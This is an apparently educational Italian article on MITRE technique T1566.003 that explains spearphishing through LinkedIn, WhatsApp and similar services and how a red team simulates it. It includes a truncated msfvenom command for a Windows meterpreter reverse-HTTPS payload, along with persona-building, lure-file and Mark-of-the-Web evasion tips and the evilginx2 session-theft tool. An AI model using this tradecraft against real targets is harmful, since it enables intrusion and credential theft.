Spearphishing via Servizi Terzi: Spearphishing via Service (T1566.003)
La tecnica T1566.003 descrive l'invio di messaggi di spearphishing attraverso servizi di terze parti — social network, webmail personali, piattaforme di messaggistica istantanea, servizi di file sharing — al posto dei canali email aziendali. Rientra nella tattica TA0001 (Initial Access) e rappresenta uno dei vettori d'ingresso più efficaci perché elude sistematicamente i controlli perimetrali email dell'organizzazione, che tipicamente non ispezionano il traffico verso LinkedIn, WhatsApp, Telegram o Gmail personale.
La logica dell'attaccante è duplice. Da un lato, i servizi consumer applicano policy di sicurezza meno stringenti rispetto ai gateway enterprise; dall'altro, la vittima abbassa la guardia perché il contatto avviene in un contesto percepito come informale o professionale-personale, come un'offerta di lavoro su LinkedIn o una conversazione avviata su Facebook Messenger.
Il dataset MITRE mappa 14 gruppi APT che hanno adottato questa tecnica, 1 famiglia malware (Ninja, distribuita via Telegram) e la celebre campagna Operation Dream Job attribuita a Lazarus Group. Le mitigazioni disponibili sono cinque, con enfasi su User Training (M1017), restrizione dei contenuti web (M1021) e auditing (M1047). L'impatto operativo è significativo: il costo di detection è alto perché il canale di consegna iniziale sfugge alla visibilità del SOC, e il primo segnale osservabile è spesso il download del payload sull'endpoint aziendale, ovvero quando la fase di social engineering è già conclusa con successo.
Per un red team, simulare T1566.003 richiede la costruzione preventiva di un'infrastruttura di persone credibile. Il primo passo è la creazione di personas su LinkedIn, X, Facebook o piattaforme di recruiting: profili con foto generate via thispersondoesnotexist.com (gratuito), storico lavorativo coerente e una rete di contatti costruita nel tempo. Tool come Sherlock (open source) permettono di verificare la disponibilità di username su centinaia di piattaforme per garantire coerenza cross-platform della persona.
La fase di target enumeration sfrutta OSINT su LinkedIn Sales Navigator (a pagamento) o strumenti come theHarvester (open source) e Maltego (freemium) per mappare dipendenti target, ruoli e interessi professionali. Framework come Social-Engineer Toolkit / SET (open source) offrono moduli per generare payload e landing page, mentre GoPhish (open source) resta lo standard per orchestrare campagne autorizzate con tracking di apertura e click.
La catena tipica in un engagement autorizzato segue il pattern di Operation Dream Job: contatto iniziale su LinkedIn con un'offerta di lavoro plausibile per il ruolo del target, spostamento della conversazione su webmail personale o WhatsApp, invio di un documento "job description" — tipicamente un file DOCX con macro, un LNK dentro ISO, o un archivio ZIP contenente eseguibile firmato. Su Windows, il payload può essere generato con msfvenom dal Metasploit Framework (open source):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
Per aumentare la credibilità, è possibile firmare il binario con certificati code-signing di test o utilizzare HTA smuggling e ISO container che aggirano il Mark-of-the-Web fino alle mitigazioni introdotte in Windows 11.
Su macOS il vettore tipico è un file .dmg con applicazione non notarizzata, mentre su Linux (target rari ma rilevanti per sviluppatori) si usano script shell mascherati da tool di sviluppo o pacchetti npm/PyPI trojanizzati — pattern osservato in Contagious Interview, dove i target erano developer contattati per fake job interview con richiesta di eseguire codice "per il coding test".
La consegna avviene tramite servizi di file hosting legittimi (Google Drive, Dropbox, WeTransfer) per bypassare filtri URL. Strumenti come evilginx2 (open source) permettono invece attacchi di credential phishing con proxy trasparente su portali OAuth reali, utili per esercizi che simulano il furto di sessione post-social engineering.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.